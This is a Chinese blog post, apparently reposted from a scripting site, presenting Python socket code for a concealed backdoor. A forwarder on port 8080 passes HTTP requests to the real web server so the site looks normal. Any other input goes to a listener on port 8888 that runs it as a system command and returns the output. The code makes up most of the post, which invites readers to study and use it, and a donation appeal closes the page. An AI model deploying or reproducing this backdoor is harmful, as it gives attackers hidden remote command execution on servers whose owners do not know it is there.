思想:
用戶正常瀏覽器訪問(wèn)請(qǐng)求通過(guò)8080端口,請(qǐng)求若為http請(qǐng)求,則正常轉(zhuǎn)發(fā)到80端口保證網(wǎng)站正常運(yùn)行。否則轉(zhuǎn)發(fā)到8888端口執(zhí)行系統(tǒng)命令。
8888端口監(jiān)聽(tīng)代碼:
#!/usr/bin/env python from socket import * import os HOST='127.0.0.1' PORT=8888 BUFSIZE=1024 ADDR=(HOST,PORT) tcpSerSock = socket(AF_INET,SOCK_STREAM) tcpSerSock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1) tcpSerSock.bind(ADDR) tcpSerSock.listen(5) while True: print("waiting for connection...") tcpCliSock,addr = tcpSerSock.accept() print("...connected from:",addr) while True: data=tcpCliSock.recv(BUFSIZE) if not data: break info = data.split('\n') command = info[0] try: os.system(command + " > command.txt"); file = open('command.txt') data ="" for line in file: data=data+line; tcpCliSock.send(data) except Exception: tcpCliSock.send("Nothing to do") tcpCliSock.close() tcpSerSock.close()
8080端口轉(zhuǎn)發(fā)代碼:
#!/usr/bin/python from socket import * tcp1 = socket(AF_INET,SOCK_STREAM) tcp1.setsockopt(SOL_SOCKET,SO_REUSEADDR,1) tcp1.bind(('0.0.0.0',8080)) tcp1.listen(10) BUFFER_SIZE=2048 tcpCliSock,addr = tcp1.accept() while True: data = tcpCliSock.recv(BUFFER_SIZE) if 'HTTP' in data: tcp3 = socket(AF_INET,SOCK_STREAM) tcp3.setsockopt(SOL_SOCKET,SO_REUSEADDR,1) tcp3.connect(('127.0.0.1',80)) tcp3.send(data) htmlinfo = tcp3.recv(2048) if not htmlinfo: tcp3.close() else: tcpCliSock.send(htmlinfo) else: tcp2 = socket(AF_INET,SOCK_STREAM) tcp2.setsockopt(SOL_SOCKET,SO_REUSEADDR,1) tcp2.connect(('127.0.0.1',8888)) data = data.replace("\n"," ") print data tcp2.send(data) commandinfo = tcp2.recv(1024) tcpCliSock.send(commandinfo) tcp2.close() tcpCliSock.close() tcp1.close()
有些地方還有些小問(wèn)題等待修正,但是linux下是可以完美運(yùn)行的。歡迎學(xué)習(xí)交流。
以上這篇python基于socket進(jìn)行端口轉(zhuǎn)發(fā)實(shí)現(xiàn)后門隱藏的示例就是小編分享給大家的全部?jī)?nèi)容了,希望能給大家一個(gè)參考,也希望大家多多支持腳本之家。
更多文章、技術(shù)交流、商務(wù)合作、聯(lián)系博主
微信掃碼或搜索:z360901061

微信掃一掃加我為好友
QQ號(hào)聯(lián)系: 360901061
您的支持是博主寫作最大的動(dòng)力,如果您喜歡我的文章,感覺(jué)我的文章對(duì)您有幫助,請(qǐng)用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點(diǎn)擊下面給點(diǎn)支持吧,站長(zhǎng)非常感激您!手機(jī)微信長(zhǎng)按不能支付解決辦法:請(qǐng)將微信支付二維碼保存到相冊(cè),切換到微信,然后點(diǎn)擊微信右上角掃一掃功能,選擇支付二維碼完成支付。
【本文對(duì)您有幫助就好】元
